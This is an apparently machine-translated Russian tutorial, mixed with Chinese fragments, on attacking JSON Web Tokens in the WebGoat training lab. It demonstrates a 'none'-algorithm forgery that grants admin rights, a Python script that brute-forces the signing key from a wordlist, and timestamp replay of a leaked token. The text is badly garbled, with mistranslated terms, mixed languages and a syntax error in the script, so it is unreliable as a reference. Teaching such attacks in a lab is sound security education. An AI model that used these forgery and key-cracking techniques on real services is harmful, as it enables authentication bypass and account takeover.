копать SRC когда сталкиваешься с некоторыми SSO В сцене мы часто видим какие-то странные данные. Большинство этих данных представлены в виде трехэтапного шифрования. В дальнейшем в процессе обучения мы поняли, что имя таких токенов. Token
,Я кратко узнал об этом во время моего предыдущего исследования. JWT метод презентации, а только краткий обзор его более глубокого содержания. В этой статье всесторонне объясняется, что такое. JWT,JWT Как использовать и атаковать, чтобы помочь специалистам по безопасности лучше понять механизм работы токенов сетевой безопасности.
Эта статья поддерживаетдиапазон АдресWebGoat
диапазонАутентификация и отказчасть。
JWT(JSON Web Токен) — это открытый стандарт (RFC 7519), который определяет краткий, автономный метод общения между двумя сторонами. JSON Безопасно передавать информацию в виде объектов. Эту информацию можно проверить и ей можно доверять, поскольку она имеет цифровую подпись. JWT обычно используется в интернет-приложениях для аутентификации и авторизации. JWT и Традиция Token Разница
JWT | Традиция Token | |
---|---|---|
место хранения | JWT обычно хранится на стороне клиента. | ТрадицияизTokenнравитьсяCookiesиSession Токены обычно хранят состояние на стороне сервера. |
Метод передачи | JWT передается как часть HTTP-запроса и может находиться непосредственно в заголовке запроса. | Традиционный токен обычно передается между браузерами и серверами через файлы cookie. |
Управление статусами | JWT является автономным и не зависит от состояния сеанса сервера, что снижает нагрузку на сервер. | Традиционный токен обычно привязан к состоянию сеанса сервериз.,серверу необходимо хранить информацию о сеансе пользователя,Это может привести к более высокомуизсервернагрузкаи Управление статусами сложности. |
Безопасностьсексиконфиденциальность | Вся информация JWT зашифрована, а разрешения можно установить так, чтобы только пользователи с правильным ключом могли декодировать информацию. Однако если ключ скомпрометирован, это может затронуть все JWT. | Не содержит конфиденциальной информации и поэтому не зашифрован. |
Междоменное использование | потому что JWT не полагается на статус сервера,Информация о пользователе может запрашиваться и передаваться между разными доменами.,Подходит для междоменных запросов. | ТрадицияToken может потребовать, чтобы сервер настроил политику CORS (Cross-Origin Resource Sharing) в междоменных запросах. |
JWT состоит из трех частей:
потому чтоJWT является автономным, поэтому не требует хранения состояния на сервере, что уменьшает поверхность атаки и позволяет пользователям проходить аутентификацию в системах без состояния. В то же время, потому что чтоJWT передается между клиентами и сервериз, поэтому его также легко междоменное использование。 Далее идет абзац Содержимое JWT, нам нужно найти имя пользователя в токене
Детали токена следующие:
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
в:
header
частьдляeyJhbGciOiJIUzI1NiJ9
payload
частьдляew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9
signature
частьдля9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
Поместив его в платформу декодирования, мы сможем увидеть расшифрованный файл, узнать расшифрованное имя пользователя и пройти стрельбище.
Пользователь входит в систему с именем пользователя и паролем после успешной аутентификации на сервереиспользовать. возвращаться. Сервер создает новый токен и возвращает этот токен клиенту. Когда клиент продолжает Вызовите сервер, добавив новый токен в заголовок «Авторизация». Сервер считывает токен и сначала проверяет подпись. После успешной проверки сервер использует. Информация в токене, которая идентифицирует пользователя.
так называемыйиз“Нулевой алгоритм «шифрование» может относиться к любому алгоритму шифрования без использования JWT, что не распространено в практических приложениях, поскольку шифрование является гарантированной информацией. Однако это правда, что некоторые реализации JWTiz могут не использовать шифрование, особенно в некоторых сценариях, где требования к безопасности не очень высоки.
проходить Нулевой алгоритм расшифровку, мы в основном знаем JWT первые двачастьиз Состав и способы применения,Проще говоря, это означаетheader
частьизalg
Изменить наnone
,затем вsignature
часть Ничего нельзя добиться, управляя воздухом Безопасностьиз JWT Влияние алгоритмов шифрования.
Конкретный процесс выглядит следующим образом. Например, в следующих сценариях только администратор может сбросить информацию о голосовании:
На этом этапе мы перехватили пакет и обнаружили, что обычные пользователи TOM из JWT
жетоннравиться Как показано ниже:
На этом этапе мы помещаем его в платформу декодирования для декодирования и можем получить первые две части:
Затем мы модифицируем пакет данных,Сначала поставьalg
серединашифрование Режим установлен наnone
, а потомadmin
серединаизfalse
Изменить наtrue
,переделывать Base64 Закодировав, получим следующее из JWT Запрос отправлен и успешен.
ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE3MDkyMjM1MDEsImFkbWluIjoibm9uZSIsInVzZXIiOiJUb20ifQ..
Уведомление,Хотяsignature
частьдля空,Но его еще нужно добавить перед.
номер для достижения соответствия формата,На этом этапе установите его наaccess_token
выполнить повтор,Обнаружил, что количество голосов обнулилось.
Иногда мы можем попытаться взорвать JWT изsignature
ключ,Хотя ключи зачастую случайные,Но нам нужно понять этот процесс атаки.
Код взрывных работ следующий:
import jwt
import termcolor
if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'
with open('top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * , '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')
Если Токен доступа утек,Мы можем сотрудничать с модификацией временных меток для выполнения вредоносных операций.,Сравниватьнравиться Однажды у нас появился пользовательизJWT
жетоннравиться Вниз:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
Путем расшифровки обнаруживается, что временная метка может быть изменена.,Замените его самой последней отметкой времени.,Отправить для достижения успешной аутентификации,Обратите внимание, что для этого все еще требуетсяsignature
Установить пустым。
Подведите итог: использовать JWT Лучшее место для токена — это связь между серверами. использовать JWT Токен из Некоторые предложения: